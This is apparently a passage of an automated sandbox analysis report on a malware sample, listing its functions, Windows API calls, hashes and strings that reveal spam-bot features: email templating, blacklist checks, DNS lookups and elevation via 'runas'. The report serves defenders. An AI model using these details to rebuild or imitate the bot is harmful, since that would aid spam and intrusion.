recv.WS2_32(?,00000000,00001000,00000000), ref: 00402B4A
htons.WS2_32(?), ref: 00402B71
htons.WS2_32(?), ref: 00402B8C
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00402BFB

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Heaphtons$Process$Allocrecvselectsocket
String ID:
API String ID: 1639031587-0
Opcode ID: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction ID: 51c4a8f8372388146ce05ee3fd67d3b8acfed2692fca977a8adbfce498b2b585
Opcode Fuzzy Hash: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction Fuzzy Hash: FB61D271508305ABD7209F51DE0CB6FBBE8FB48345F14482AF945A72D1D7F8D8808BAA

Function 026114E7 Relevance: 23.2, APIs: 9, Strings: 4, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 02611601
lstrlenW.KERNEL32(-00000003), ref: 026117D8

Strings

, xrefs: 026116C9
<, xrefs: 026115DF
@, xrefs: 026115E7
D, xrefs: 0261182D

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $<$@$D
API String ID: 1628651668-1974347203
Opcode ID: 03adf1138caabce6029c68f91071d7d17f6d9527f2eb0b017a6edce7519f1441
Instruction ID: fb05c152851a36c5fba60b57d09640f8df2a5e6e85837152509572213412e399
Opcode Fuzzy Hash: 03adf1138caabce6029c68f91071d7d17f6d9527f2eb0b017a6edce7519f1441
Instruction Fuzzy Hash: FEF18EB15083419FD720CF64C888BABBBE5FB8A304F04896DF69997390D7B4E944CB56

Function 02617666 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 345registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00020119,?), ref: 026176D9
RegOpenKeyExA.ADVAPI32(?,?,00000000,00000101,?), ref: 02617757
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104), ref: 0261778F
___ascii_stricmp.LIBCMT ref: 026178B4
RegCloseKey.ADVAPI32(?), ref: 0261794E
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 0261796D
RegCloseKey.ADVAPI32(?), ref: 0261797E
RegCloseKey.ADVAPI32(?), ref: 026179AC
RegCloseKey.ADVAPI32(?), ref: 02617A56

Part of subcall function 0261F40C: lstrlen.KERNEL32(000000E4,00000000,004122F8,000000E4,0261772A,?), ref: 0261F414

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 026179F6
RegCloseKey.ADVAPI32(?), ref: 02617A4D

Strings

", xrefs: 02617800

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "
API String ID: 3433985886-123907689
Opcode ID: 6662dee372d798d6f1e3baf347185b0c176791543b489e25c2cc06528122fd8e
Instruction ID: 85714b4c115e1a531b6a0ce289825e617556dde5b282e38d512eaa8c77b1b569
Opcode Fuzzy Hash: 6662dee372d798d6f1e3baf347185b0c176791543b489e25c2cc06528122fd8e
Instruction Fuzzy Hash: 23C19571900249AFDB12DFA4DC45FEEBBB9EF49310F1844A5E504E6290EB71EA84CF64

Function 0040704C Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 332registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,00000101,75920F10,?,75920F10,00000000), ref: 004070C2
RegEnumValueA.ADVAPI32(75920F10,00000000,?,00000020,00000000,00000000,00000000,0000012C,?,75920F10,00000000), ref: 0040719E
RegCloseKey.ADVAPI32(75920F10,?,75920F10,00000000), ref: 004071B2
RegCloseKey.ADVAPI32(75920F10), ref: 00407208
RegCloseKey.ADVAPI32(75920F10), ref: 00407291
___ascii_stricmp.LIBCMT ref: 004072C2
RegCloseKey.ADVAPI32(75920F10), ref: 004072D0
RegCloseKey.ADVAPI32(75920F10), ref: 00407314
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040738D
RegCloseKey.ADVAPI32(75920F10), ref: 004073D8

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,004122F8,000000C8,00407150,?), ref: 0040F1AD

Strings

, xrefs: 00407194
", xrefs: 00407227

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Close$AttributesEnumFileOpenValue___ascii_stricmplstrlen
String ID: $"
API String ID: 4293430545-3817095088
Opcode ID: 74e128f8df151d438ab4d1c82f82d45ce79a9eea08151c9b6eb13cdb2253fb65
Instruction ID: bdd769efad709bd93da993ba4a974553bca105625a5613f565cdc8f40f8c6bf1
Opcode Fuzzy Hash: 74e128f8df151d438ab4d1c82f82d45ce79a9eea08151c9b6eb13cdb2253fb65
Instruction Fuzzy Hash: 8FB17F71D0820ABAEB159FA1DC45BEF77B8AB04304F10047BF501F61D1EB79AA94CB69

Function 02612CC9 Relevance: 21.2, APIs: 14, Instructions: 194memorynetworkCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 02612CED
socket.WS2_32(00000002,00000002,00000011), ref: 02612D07
htons.WS2_32(00000000), ref: 02612D42
select.WS2_32 ref: 02612D8F
recv.WS2_32(?,00000000,00001000,00000000), ref: 02612DB1
GetProcessHeap.KERNEL32(00000000,00000108), ref: 02612E62

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesshtonsrecvselectsocket
String ID:
API String ID: 127016686-0
Opcode ID: 34b12e3987a7911b0151bc10fc282e4d0fd91c502d2533c711cf9584e7c9b6b6
Instruction ID: a9e80077326e2c97af85a1a92b158be880c006ff6459b67855971a107850e935
Opcode Fuzzy Hash: 34b12e3987a7911b0151bc10fc282e4d0fd91c502d2533c711cf9584e7c9b6b6
Instruction Fuzzy Hash: 2261E471904325AFC3209F64DC58B6BBBE8FB84745F08481DFD4497290D7B4E881CBA6

Function 0040AD89 Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 121timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0040AD98
SystemTimeToFileTime.KERNEL32(?,?), ref: 0040ADA6

Part of subcall function 0040AD08: gethostname.WS2_32(?,00000080), ref: 0040AD1C
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD60
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD69
Part of subcall function 0040AD08: lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Part of subcall function 004030B5: gethostname.WS2_32(?,00000080), ref: 004030D8
Part of subcall function 004030B5: gethostbyname.WS2_32(?), ref: 004030E2

wsprintfA.USER32 ref: 0040AEA5

Part of subcall function 0040A7A3: inet_ntoa.WS2_32(?), ref: 0040A7A9

wsprintfA.USER32 ref: 0040AE4F
wsprintfA.USER32 ref: 0040AE5E

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

%04x%08.8lx$%08.8lx$%08x@%s, xrefs: 0040AE9F
%s%d, xrefs: 0040AE58
127.0.0.1, xrefs: 0040ADEB
%OUTLOOK_HST, xrefs: 0040AEC5
----=_NextPart_%03d_%04X_%08.8lX.%08.8lX, xrefs: 0040AE49
%OUTLOOK_BND_, xrefs: 0040AE0F, 0040AE14, 0040AE57, 0040AE76
%OUTLOOK_MID, xrefs: 0040AEAE

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: lstrlen$Timewsprintf$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %04x%08.8lx$%08.8lx$%08x@%s$%OUTLOOK_BND_$%OUTLOOK_HST$%OUTLOOK_MID$%s%d$----=_NextPart_%03d_%04X_%08.8lX.%08.8lX$127.0.0.1
API String ID: 3631595830-1816598006
Opcode ID: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction ID: 6edd35ca6b9ca9df7a5a601651cb978d50ba63929d11386258719776c0551fa5
Opcode Fuzzy Hash: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction Fuzzy Hash: 0C4123B290030CBBDF25EFA1DC45EEE3BADFF08304F14442BB915A2191E679E5548B55

Function 00402DF2 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 97memorylibrarynetworkCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll,759223A0,?,000DBBA0,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E01
LoadLibraryA.KERNEL32(iphlpapi.dll,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E11
GetProcAddress.KERNEL32(00000000,GetNetworkParams), ref: 00402E2E
GetProcessHeap.KERNEL32(00000000,00004000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4C
HeapAlloc.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4F
htons.WS2_32(00000035), ref: 00402E88
inet_addr.WS2_32(?), ref: 00402E93
gethostbyname.WS2_32(?), ref: 00402EA6
GetProcessHeap.KERNEL32(00000000,?,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE3
HeapFree.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE6

Strings

iphlpapi.dll, xrefs: 00402DFB, 00402E00, 00402E10
GetNetworkParams, xrefs: 00402E28

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Heap$Process$AddressAllocFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: GetNetworkParams$iphlpapi.dll
API String ID: 929413710-2099955842
Opcode ID: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction ID: af9ac6d56ee620c8fffc4a8d4b95bbdbc136fdcf8554a1f3230d1ae4f4a52a91
Opcode Fuzzy Hash: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction Fuzzy Hash: E3318131A40209ABDB119BB8DD4CAAF7778AF04361F144136F914F72D0DBB8D9819B9C

Function 0040675C Relevance: 19.7, APIs: 13, Instructions: 199fileCOMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNEL32(?,00000080,?,75920F10,00000000), ref: 0040677E
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,?,75920F10,00000000), ref: 0040679A
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,75920F10,00000000), ref: 004067B0
SetFileAttributesA.KERNEL32(?,00000002,?,75920F10,00000000), ref: 004067BF
GetFileSize.KERNEL32(000000FF,00000000,?,75920F10,00000000), ref: 004067D3
ReadFile.KERNEL32(000000FF,?,00000040,00408244,00000000,?,75920F10,00000000), ref: 00406807
SetFilePointer.KERNEL32(000000FF,?,00000000,00000000,?,75920F10,00000000), ref: 0040681F
ReadFile.KERNEL32(000000FF,?,000000F8,?,00000000,?,75920F10,00000000), ref: 0040683E
SetFilePointer.KERNEL32(000000FF,?,00000000,00000000,?,75920F10,00000000), ref: 0040685C
ReadFile.KERNEL32(000000FF,?,00000028,00408244,00000000,?,75920F10,00000000), ref: 0040688B
SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000000,?,75920F10,00000000), ref: 00406906
ReadFile.KERNEL32(000000FF,?,00000000,00408244,00000000,?,75920F10,00000000), ref: 0040691C
CloseHandle.KERNEL32(000000FF,?,75920F10,00000000), ref: 00406971

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: File$Read$Pointer$AttributesCreateHeap$CloseFreeHandleProcessSize
String ID:
API String ID: 2622201749-0
Opcode ID: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction ID: 23622665348289c9bdc7ba1e7bdf6275147e3319f3664adf7917ee5564634b96
Opcode Fuzzy Hash: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction Fuzzy Hash: E47109B1D00219EFDB109FA5CC809EEBBB9FB04314F11457AF516B6290E7349EA2DB54

Function 00409326 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 284registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409340
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 0040936E
GetModuleFileNameA.KERNEL32(00000000,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409375
wsprintfA.USER32 ref: 004093CE
wsprintfA.USER32 ref: 0040940C
wsprintfA.USER32 ref: 0040948D
RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000101,?), ref: 004094F1
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409526
RegCloseKey.ADVAPI32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409571

Strings

runas, xrefs: 00409674

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: runas
API String ID: 3696105349-4000483414
Opcode ID: b115644d8fcf1706915678c94d32f66e2b06ae170b0cb428a55680f7bdd6b1eb
Instruction ID: b6d0878b1d73306239325ce20442e1ed3f1d42e4277a972a89fda7ad6b3a58d4
Opcode Fuzzy Hash: b115644d8fcf1706915678c94d32f66e2b06ae170b0cb428a55680f7bdd6b1eb
Instruction Fuzzy Hash: A7A181B2540208BBEB21DFA1CC45FDF3BACEB44744F104437FA05A2192D7B999848FA9

Function 0040B3C5 Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 145COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040B467

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

%TO_EMAIL, xrefs: 0040B473
%TO_USER, xrefs: 0040B488
%s@%s, xrefs: 0040B461
%TO_HASH, xrefs: 0040B4B0
%FROM_DOMAIN, xrefs: 0040B41E
%FROM_EMAIL, xrefs: 0040B3E9
%TO_DOMAIN, xrefs: 0040B44B
%FROM_USER, xrefs: 0040B431
%DATE, xrefs: 0040B4D2
%P5DATE, xrefs: 0040B4F2
%M5DATE, xrefs: 0040B50F

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: lstrlen$wsprintf
String ID: %DATE$%FROM_DOMAIN$%FROM_EMAIL$%FROM_USER$%M5DATE$%P5DATE$%TO_DOMAIN$%TO_EMAIL$%TO_HASH$%TO_USER$%s@%s
API String ID: 1220175532-2340906255
Opcode ID: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction ID: bf34ba3998127a8345ca8177a6a798a4e2b1dcf0281bd89f40bace4b7f612c60
Opcode Fuzzy Hash: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction Fuzzy Hash: CE4174B254011D7EDF016B96CCC2DFFBB6CEF4934CB14052AF904B2181EB78A96487A9

Function 02611FFD Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 205libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 0261202D
GetSystemInfo.KERNEL32(?), ref: 0261204F
GetModuleHandleA.KERNEL32(00410380,0041038C), ref: 0261206A
GetProcAddress.KERNEL32(00000000), ref: 02612071
GetCurrentProcess.KERNEL32(?), ref: 02612082
GetTickCount.KERNEL32 ref: 02612230

Part of subcall function 02611E46: GetComputerNameA.KERNEL32(?,0000000F), ref: 02611E7C

Strings

work_srv, xrefs: 026120C5
hi_id, xrefs: 0261217D, 02612182, 0261219A
flags_upd, xrefs: 026120A5, 026120AA, 026120E3
localcfg, xrefs: 02612091, 02612098, 026120AB, 026120E4, 026120F3, 02612119, 02612138, 0261214E, 02612166, 02612183, 0261219B, 026121B7, 026121D7

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: flags_upd$hi_id$localcfg$work_srv
API String ID: 4207808166-1391650218
Opcode ID: a6853c32b60f2cc87b9b05c4564022504dbed896d64d3d62fe446b684c9c1410
Instruction ID: 039ddd67e863803909d2b0e88280d501452e4102ada36487f2ca94c3244c71c3
Opcode Fuzzy Hash: a6853c32b60f2cc87b9b05c4564022504dbed896d64d3d62fe446b684c9c1410
Instruction Fuzzy Hash: 7D5193B0500784AFE330AF758C85F67BAECEB55704F08491DFE9682242D7B9B584CB69

Function 00402011 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 160COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402078
GetTickCount.KERNEL32 ref: 004020D4
GetTickCount.KERNEL32 ref: 004020DB
GetTickCount.KERNEL32 ref: 0040212B
GetTickCount.KERNEL32 ref: 00402132
GetTickCount.KERNEL32 ref: 00402142

Part of subcall function 0040F04E: SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,0040E342,00000000,7508EA50,80000001,00000000,0040E513,?,00000000,00000000,?,000000E4), ref: 0040F089
Part of subcall function 0040F04E: GetSystemTimeAsFileTime.KERNEL32(80000001,?,?,?,0040E342,00000000,7508EA50,80000001,00000000,0040E513,?,00000000,00000000,?,000000E4,000000C8), ref: 0040F093

Part of subcall function 0040E854: lstrcpyA.KERNEL32(00000001,?,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E88B
Part of subcall function 0040E854: lstrlenA.KERNEL32(00000001,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E899

Part of subcall function 00401C5F: wsprintfA.USER32 ref: 00401CE1

Strings

localcfg, xrefs: 00402070, 00402160, 00402186, 00402194, 004021E4
rbl_bl, xrefs: 00402181
rbl_ip, xrefs: 0040218F
net_type, xrefs: 004021DF

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: CountTick$Time$FileSystem$lstrcpylstrlenwsprintf
String ID: localcfg$net_type$rbl_bl$rbl_ip
API String ID: 3976553417-1522128867
Opcode ID: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction ID: 2c4ade229706ff5e66d1d9a19171a9bb61e55472092035c31cb102c4d2320628
Opcode Fuzzy Hash: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction Fuzzy Hash: CF51F3706043465ED728EB21EF49B9A3BD4BB04318F10447FE605E62E2DBFC9494CA1D

Function 0040F315 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(0040CA1D), ref: 0040F34D
socket.WS2_32(00000002,00000001,00000000), ref: 0040F367
closesocket.WS2_32(00000000), ref: 0040F375

Strings

time_cfg, xrefs: 0040F323

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: time_cfg
API String ID: 311057483-2401304539
Opcode ID: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction ID: 30084693e0db7c5d018f03cf39b97fa82366a7d059792586ebb4172a1a3c68ff
Opcode Fuzzy Hash: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction Fuzzy Hash: AA319E72900118ABDB20DFA5DC859EF7BBCEF88314F104176F904E3190E7788A858BA9

Function 0040405E Relevance: 16.7, APIs: 11, Instructions: 203COMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 00404070
ExitProcess.KERNEL32 ref: 00404121

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: CreateEventExitProcess
String ID:
API String ID: 2404124870-0
Opcode ID: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction ID: 074d9bb49edb1fcb374f0917b5464843becdd4ef2bd88426a03fabb40598a920
Opcode Fuzzy Hash: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction Fuzzy Hash: 3C5192B1E00209BAEB10ABA19D45FFF7A7CEB54755F00007AFB04B61C1E7798A41C7A9

Function 0040C2DC Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 182threadCOMMON

Download Yara Rule

APIs

Part of subcall function 0040A4C7: GetTickCount.KERNEL32 ref: 0040A4D1
Part of subcall function 0040A4C7: InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

GetTickCount.KERNEL32 ref: 0040C31F
GetTickCount.KERNEL32 ref: 0040C32B
GetTickCount.KERNEL32 ref: 0040C363
GetTickCount.KERNEL32 ref: 0040C378
GetTickCount.KERNEL32 ref: 0040C44D
InterlockedIncrement.KERNEL32(0040C4E4), ref: 0040C4AE
CreateThread.KERNEL32(00000000,00000000,0040B535,00000000,?,0040C4E0), ref: 0040C4C1
CloseHandle.KERNEL32(00000000,?,0040C4E0,00413588,00408810), ref: 0040C4CC

Strings

localcfg, xrefs: 0040C2DD

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: CountTick$Interlocked$CloseCreateExchangeHandleIncrementThread
String ID: localcfg
API String ID: 1553760989-1857712256
Opcode ID: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction ID: d79c9f10581ee3273b6165e92ba068ddd4f199cf4cd09fd02743c11af2233124
Opcode Fuzzy Hash: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction Fuzzy Hash: 0E515CB1A00B41CFC7249F6AC5D552ABBE9FB48304B509A3FE58BD7A90D778F8448B14

Function 02613059 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97memorylibrarynetworkCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll), ref: 02613068
LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 02613078
GetProcAddress.KERNEL32(00000000,00410408), ref: 02613095
RtlAllocateHeap.NTDLL(00000000), ref: 026130B6
htons.WS2_32(00000035), ref: 026130EF
inet_addr.WS2_32(?), ref: 026130FA
gethostbyname.WS2_32(?), ref: 0261310D
HeapFree.KERNEL32(00000000), ref: 0261314D

Strings

iphlpapi.dll, xrefs: 02613062, 02613067, 02613077

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocateFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: iphlpapi.dll
API String ID: 2869546040-3565520932
Opcode ID: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction ID: fc02ab6c0b078852ac8506933ec1da377780785ae70f8c1e57317adc72346d45
Opcode Fuzzy Hash: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction Fuzzy Hash: 4D310A31A00306ABDF119BB49C49BAE7BB8EF05324F1841A5F919E3390DB74E551CB58

Function 0261958D Relevance: 15.3, APIs: 10, Instructions: 284registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 026195A7
GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 026195D5
GetModuleFileNameA.KERNEL32(00000000), ref: 026195DC
wsprintfA.USER32 ref: 02619635
wsprintfA.USER32 ref: 02619673
wsprintfA.USER32 ref: 026196F4
RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000101,?), ref: 02619758
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 0261978D
RegCloseKey.ADVAPI32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 026197D8

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID:
API String ID: 3696105349-0
Opcode ID: 0ac1c7cf1312716136e7fb6a36e28e3fd6dbc7c146b39f469b2464a0e942be83
Instruction ID: d7379f3dfab5426c98f2bbbab882f332f287a5967254d63b8ed3c8fb613448dc
Opcode Fuzzy Hash: 0ac1c7cf1312716136e7fb6a36e28e3fd6dbc7c146b39f469b2464a0e942be83
Instruction Fuzzy Hash: C0A19DB1900248AFEB25DFA0CC55FDA3BADEF04741F18442AFA05E2251E7B5E584CFA4

Function 00402D21 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 85memorylibrarystringCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,759223A0,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
LoadLibraryA.KERNEL32(?), ref: 00402D4A
GetProcAddress.KERNEL32(00000000,DnsQuery_A), ref: 00402D61
GetProcessHeap.KERNEL32(00000000,00000108,000DBBA0), ref: 00402D99
HeapAlloc.KERNEL32(00000000), ref: 00402DA0
lstrcpynA.KERNEL32(00000008,?,000000FF), ref: 00402DCB

Strings

dnsapi.dll, xrefs: 00402D29
DnsQuery_A, xrefs: 00402D5B

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: DnsQuery_A$dnsapi.dll
API String ID: 3560063639-3847274415
Opcode ID: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction ID: e5e1ee734cbcfb8ca4eff609f7c37a2f42b45bda1feb54b0ffc2340cedddb21a
